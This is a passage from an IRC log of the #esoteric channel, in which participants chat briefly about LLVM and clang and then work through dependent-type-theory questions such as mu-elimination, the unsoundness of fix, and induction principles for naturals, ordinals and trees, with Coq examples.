case I have to force llvm itself to not optimise things into vector stuff using SSE for example) < 1267996398 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and they love to use assert(0 && "foo is not implemented yet"); for erroring out < 1267996440 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, clang is now past this phase < 1267996452 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and the clang static analyser seems to only crash sometimes nowdays < 1267996459 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sweet < 1267996496 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, it is pretty easy to crash llvm tools in general though. Heck it is easy to make llvm unable to compile itself if even < 1267996499 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or used to be at least < 1267996504 0 :dougx!unknown@unknown.invalid PART #esoteric :? < 1267996519 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :was easy in 2.6. 2.7 is to be released on April or May iirc < 1267996537 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :In a month; the code freeze is in some hours < 1267996565 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, and the major new hot feature in almost all categories is "..." I see: http://llvm.org/docs/ReleaseNotes.html#whatsnew < 1267996573 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... is the new black or something < 1267996583 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Rather, the release notes haven't yet been written < 1267996594 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I know, but I prefer my interpretation < 1267996608 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Whatever makes you happy < 1267996630 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, for a start, mine is funnier < 1267997663 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1267997917 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :why do people keep asking me to debug PHP scripts < 1267998016 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Wareya, no idea. Do you know PHP at all? < 1267998034 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :barely < 1267998044 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, no idea then < 1267998071 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Wareya, but while you are at it, please go formally prove the entire mediawiki codebase will you? ;P < 1267998115 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :night → < 1267998140 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :night < 1267998514 0 :alise!~d4b78c14@gateway/web/freenode/x-hlsqpezmrgumbtez JOIN :#esoteric < 1267998517 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1267998519 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I realised something [obvious] < 1267998523 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1267998557 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You don't need special syntax for forall and the like. < 1267998559 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :e.g. < 1267998561 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :∀ : Type → (Type → Type) → Type < 1267998578 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then < 1267998580 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :id : ∀Type (λa. a → a) < 1267998602 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, actually, since forall is implicit arguments I guess it's actually < 1267998647 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :∀ : ∀Type (λa. (a → Type) → Type) < 1267998648 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Which is, alas, circular. < 1267998664 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also you need to handle the type levels and whatnot < 1267998687 0 :alise_!~d4b78c14@gateway/web/freenode/x-cktldtnmvnytwvvj JOIN :#esoteric < 1267998721 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :What did I last say? < 1267998758 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise, http://wiki.portal.chalmers.se/agda/pmwiki.php?n=Libraries.RulesForTheStandardSetFormers < 1267998765 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :scroll to the very bottom, < 1267998766 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :see: π : (a : U) -> (T a -> U) -> U < 1267998770 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric : T (π a b) = Π (T a) (\x -> T (b x)) < 1267998785 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :this is an example of an inductive-recursive definition (like I was talking about earlier) < 1267998847 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you mean how implementing the obvious type for induction in a dep-type lang gives you recursion? < 1267998847 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :or is this a separate thing < 1267998880 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :umm < 1267998917 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :seems pretty similar from those two lines at least < 1267998936 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267998955 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Hey, actually, I can define forall nonrecursively. < 1267998975 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1267999008 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :∀-Type : (Type → Type) → Type < 1267999009 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :∀ : ∀-Type (λa. (a → Type) → Type) < 1267999019 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Of course, the two are still axioms. < 1267999350 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/858677.txt?key=x2vpvu1ou7e3uyjcbd8ybg < 1267999364 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(Note: T is merely an unfortunate name, not \top) < 1267999385 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION replaces it with X locally
< 1267999430 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Actually, \gamma, since it looks like "y" and "y" evokes "mi" evokes "me". < 1267999857 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, my \mu-elim fails to actually let you go through the recursive structure. I should fix that. < 1267999876 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :(greet "alise") < 1267999899 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :map : ∀Type (λa. ∀Type (λb. (a → b) → RecList a → RecList b)) < 1267999899 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :map f := μ-elim (∨-elim (λ_. unit) (∨-elim (λx xs. cons (f x) (map f xs)) (λxs ys. consRec (map f xs) (map f ys)))) < 1267999910 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :is certainly theoretic, but it's still packed with explicit recursion. < 1267999913 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :As pretty as it is. < 1268000114 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: hmm, with a proper recursion combinator I could easily have my core language be point-free couldn't I? < 1268000408 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Yes, with a fixed-point combinator, point-free-ness is feasible. < 1268000450 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: *structural recursion combinator < 1268000454 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fix : (a -> a) -> a is unsound. < 1268000470 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :consider: < 1268000484 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :id-specialised : _|_ -> _|_ < 1268000487 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fix id-specialised : _|_ < 1268000498 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :_|_-elim (fix id-specialised) : a < 1268000509 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yay, now we can derive anything. < 1268000604 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Okay, fine. You want Mu, not y. < 1268000749 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268000801 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :y is even more unsound than the named definition of fix, which is a stunning anti-achievement :P < 1268000828 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :y is indeed quite unsound. It doesn't work with types. < 1268000861 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you can type it in some systems < 1268000861 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :specifically designed for it < 1268000875 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mmm. < 1268000878 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The problem is that structural recursion requires mu (p |) and that bothers me < 1268000888 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I already have |-elim, it'd be nice to have an independent mu-elim < 1268000893 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but I can't think of a type for it at all < 1268000909 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :mu-elim : ... -> mu a -> ? < 1268000923 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :we know that a : * -> * < 1268000934 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so we could exploit that somehow to replace the recursive bits with something of our own design < 1268000937 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :like (), say < 1268000977 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :for instance that gives for nats () | () < 1268000990 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so we can distinguish it in the function given by left/right < 1268000995 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but then what of the return value? < 1268001017 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :we need to somehow "reduce" it < 1268001018 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so that we can further eliminate it < 1268001031 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so what do we need for structural recursion: a base case, and a step case < 1268001042 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but how do we distinguish the two if all we have is mu a where a : * -> *? < 1268001063 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise did you raed it? < 1268001078 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should check his KI-mail
< 1268001102 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: i'm doing so < 1268001118 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :was just wondering because if you didn't I can try not to link anything to you < 1268001125 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :which would save me time obviously < 1268001145 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you're so happy-go-lucky < 1268001194 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: i don't get what you're trying to express with your quotes < 1268001200 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that pi is structural recursion there? < 1268001218 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :every function is defined by structural recursion < 1268001222 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :pi is syntax for forall < 1268001239 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :kinda like < 1268001239 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :21:48 < alise> ∀ : Type → (Type → Type) → Type < 1268001257 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ah. right < 1268001296 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: is it possible to define mu-elim without having it be (mu (a |)) or similar < 1268001299 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :instead just being mu a? < 1268001317 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :mu-elim : (a something -> ?) -> ... -> mu a -> ? < 1268001407 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise, in Coq I can define: < 1268001409 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Inductive Mu : Set := roll : list Mu -> Mu. < 1268001421 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :or < 1268001421 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Inductive Mu : Set := roll : (Mu * nat) -> Mu. < 1268001436 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :or even < 1268001436 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Inductive Mu : Set := roll : (nat -> list Mu) -> Mu. < 1268001445 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :lots of different ones < 1268001452 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :but I can't defined < 1268001453 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Inductive Mu (F : Set -> Set) : Set := roll : F (Mu F) -> Mu F. < 1268001465 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :that is not valid _unless F is known to be a strictly positive functor_ < 1268001484 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :supposing F were a SPF, what would the induction scheme for Mu F be? < 1268001496 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oh you do it with functors? < 1268001504 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: by that question do you mean "implement Mu"? < 1268001516 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268001528 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :then what < 1268001539 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you don't know how to calcuate induction schemes from data defintions yet < 1268001541 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268001550 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I was just attempting to clarify the question. < 1268001574 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I certainly know how to derive maybe from Maybe and the like if that's what you're referring to. < 1268001579 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268001582 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Oh, I see, Mu there is a type < 1268001588 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :except more dependent < 1268001588 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I don't know Coq syntax, I thought it was a function type < 1268001596 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :oh you should learn Coq < 1268001604 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I believe so too. < 1268001610 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it will compute a lot of things for you which would take ages otherwise < 1268001620 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :In my system I was going to have mu be axiomatic to solve this, like the Epigram people. < 1268001628 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(the definition problem) < 1268001632 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, the induction scheme. < 1268001661 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(I denote, I think from Agda, the inducterifier for T with T-elim,) < 1268001694 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Let me try and do this bit by bit. < 1268001701 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Mu-elim : ... -> Mu F -> something that doesn't involve mu < 1268001731 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(Admittedly I have not actually researched the mechanical ways to do things like this because Surely The Computer Can Work It Out For Me, so this will be slapdash and stupid.) < 1268001777 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Well, we have (a->b)->f a->f b < 1268001781 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :which works out to < 1268001796 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(mu f -> b)->f (mu f)->f b < 1268001800 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :N := O : N | S : N -> N < 1268001805 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: i'm aware < 1268001811 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :k I'll just not bother < 1268001850 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So if we can transform the "guts" of some mu to something else, we can eliminate the mu. < 1268001879 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But the guts are also recursive. < 1268001895 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(mu (f (mu f)) -> b) -> f (mu (f (mu f))) -> f b < 1268001923 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: I should learn the mechanical method for this. But my hunch is that we will be transforming the Fs into another type, and keeping the recursive structure. < 1268001947 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :With some opportunity for a base case. < 1268001957 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Presumably along the lines of the elimination given by fmap above. < 1268002132 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: Your silence is bothersome. < 1268002172 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :((forall x. a x -> b x) -> mu a -> mu b) < 1268002183 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :is presumably doable but leaves no opportunity for a base case < 1268002197 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :dealing with a situation < 1268002200 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hmm... i think < 1268002497 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :cool < 1268002588 0 :tombom_!unknown@unknown.invalid QUIT :Quit: Leaving < 1268002910 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :we < 1268003060 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION visits a possibly malicious site from a school computer
< 1268003085 0 :sshc!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268003099 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268003105 0 :sshc!~sshc@unaffiliated/sshc JOIN :#esoteric < 1268003140 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Beh, nothing useful < 1268003820 0 :adam_d!unknown@unknown.invalid QUIT :Quit: Leaving < 1268004029 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: it'd be cool if you just told me the induction schema :D < 1268004273 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :apparently epigram has one single elimination operator that works on every single type < 1268004279 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :which is fantastic if it really works < 1268004410 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :alise_ has me on ignore? < 1268004419 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Well, probably not < 1268004419 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268004729 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I think I gave up on < 1268004730 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :22:42 < MissPiggy> N := O : N | S : N -> N < 1268004730 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :22:43 < alise_> MissPiggy: i'm aware < 1268004967 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i did not know that more was forthcoming < 1268004973 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :if you don't want to answer fine < 1268005012 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I was going to say what the induction principle for N was < 1268005186 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION goes to visit his Relto
< 1268005240 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: I did not realise this at the time. Please, go on. < 1268005283 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you know this one already, P(O) -> (forall n, P(n) -> P(S n)) -> forall n, P(n) < 1268005298 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :and for B := T | F we have P(T) -> P(F) -> forall b, P(b) < 1268005372 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268005375 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it gets more interesting with ordinal-induction, where you have something like O := Z : O | S : O -> O | L : (N -> O) -> I < 1268005379 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1268005385 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :O := Z : O | S : O -> O | L : (N -> O) -> O < 1268005388 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :-> O prs'mbly < 1268005428 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :P(Z) -> (forall o, P(o) -> P(S o)) -> (forall l, (forall n, P(f n)) -> P(l f)) < 1268005430 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :oopr < 1268005435 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :P(Z) -> (forall o, P(o) -> P(S o)) -> (forall l, (forall n, P(f n)) -> P(l f)) -> forall o, P(o) < 1268005449 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :wait sec < 1268005453 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :gimme a second to read that < 1268005468 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :From whence f in this definition? < 1268005472 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :You do not quantify over it. < 1268005479 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1268005487 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :P(Z) -> (forall o, P(o) -> P(S o)) -> (forall f, (forall n, P(f n)) -> P(l f)) -> forall o, P(o) < 1268005493 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :f : N -> O < 1268005497 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :From whence l? < 1268005500 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :grr < 1268005504 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :P(Z) -> (forall o, P(o) -> P(S o)) -> (forall f, (forall n, P(f n)) -> P(L f)) -> forall o, P(o) < 1268005509 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :this is correct now < 1268005517 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :now lemme read it :P < 1268005558 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so the last one is "show that for all f : * -> * and all n : Nat, P (f n) implies P (L f)." < 1268005567 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :f : N -> O < 1268005570 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so if it's true for any type-function, so to speak, it's true for L f < 1268005574 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :L that function, that is < 1268005579 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: right < 1268005587 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :how do we use this? < 1268005606 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :if f is a family of nat indexed ordinals, then L f is an ordinal < 1268005623 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268005627 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :so if you can prove P for every (f n), then P (L f) holds -- principle of transfinite induction from set theory < 1268005638 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :gotcha < 1268005647 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it's just nested induction basically < 1268005652 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268005655 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :!! exacty!! < 1268005657 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so, wait < 1268005665 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :we have P (_ : N -> O) and yet P (_ : O) < 1268005672 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :no wait < 1268005672 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268005673 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it's f n < 1268005674 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :right < 1268005674 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :gotcha < 1268005675 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :sweet < 1268005675 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :P : O -> * < 1268005680 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :okay, so, next thing < 1268005703 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :now it gets more difficult < 1268005730 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what if we defined a strange type of trees like this < 1268005740 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :T := L : T | B : list T -> T < 1268005774 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1268005785 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :presumably we have to nest list induction < 1268005786 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :lets jsut remember that list T is equivalent to Sigma n, Fin n -> T < 1268005801 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :so we could write < 1268005821 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :T' := L' : T' | B' : (n : N) -> (Fin n -> T) -> T < 1268005833 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I am unfamiliar with your definitions of Sigma/Fin in this particular case. < 1268005866 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :If you give me the definitions directly we can swiftly move on. < 1268005880 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric : : Sigma n, P(n) it's a dependent pair < 1268005906 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Fin 0 = False, Fin 1 = (), Fin 2 = Bool, Fin 3 = {yes,no,maybe}, Fin 4 = {north, south, east, west}, .. < 1268005920 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so Fin n is what set theorists would term n < 1268005926 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and, uh, what? < 1268005941 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :sigma as in dependent quantification? < 1268005943 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :"Sigma" is like exists, except that it's data rather than proofs < 1268005951 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :right but you have to specify a type... < 1268005968 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Fin : N -> * < 1268005975 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And is it Sigma a, b the syntax? < 1268005975 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :like Forall a, b < 1268005978 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :so n is a natural number in Sigma n, Fin n -> T < 1268005984 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :well you could write < 1268005989 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :right, but i still do not get Sigma < 1268005991 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Sigma N (\n -> Fin n -> T) < 1268005995 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :rewrite it with dot notation < 1268005996 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ok so it's < 1268005998 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :if it was defined as < 1268006003 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :sigma (n:N). Fin n -> T < 1268006018 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Sigma (T : *) (P : T -> *) : <_,_> : (t : T) -> P t -> Sigma T P < 1268006021 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1268006024 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Sigma (T : *) (P : T -> *) := <_,_> : (t : T) -> P t -> Sigma T P < 1268006025 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I am still unsure why we specifically chose this to isomorph list to. < 1268006044 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :a lists is say, 4::4::3::2::5::5::nil, < 1268006063 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :so that's equivalent to the function {#0->4,#1->4,#2->3,...} < 1268006071 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :(using # notation for elements of Fin) < 1268006098 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And 0->4,1->4, etc but fair dos. < 1268006100 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Why do we need Sigma here? < 1268006106 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :the reason is because we can compute the induction principle for T, but we DOnt know how to do T yet < 1268006109 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1268006110 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :the reason is because we can compute the induction principle for T', but we DOnt know how to do T yet < 1268006122 0 :Gracenotes!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268006152 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :no what i mean is < 1268006155 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I get how a list is isomorphic to Fin n -> T < 1268006158 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268006159 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oh i see < 1268006162 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :we're using sigma to quantify < 1268006165 0 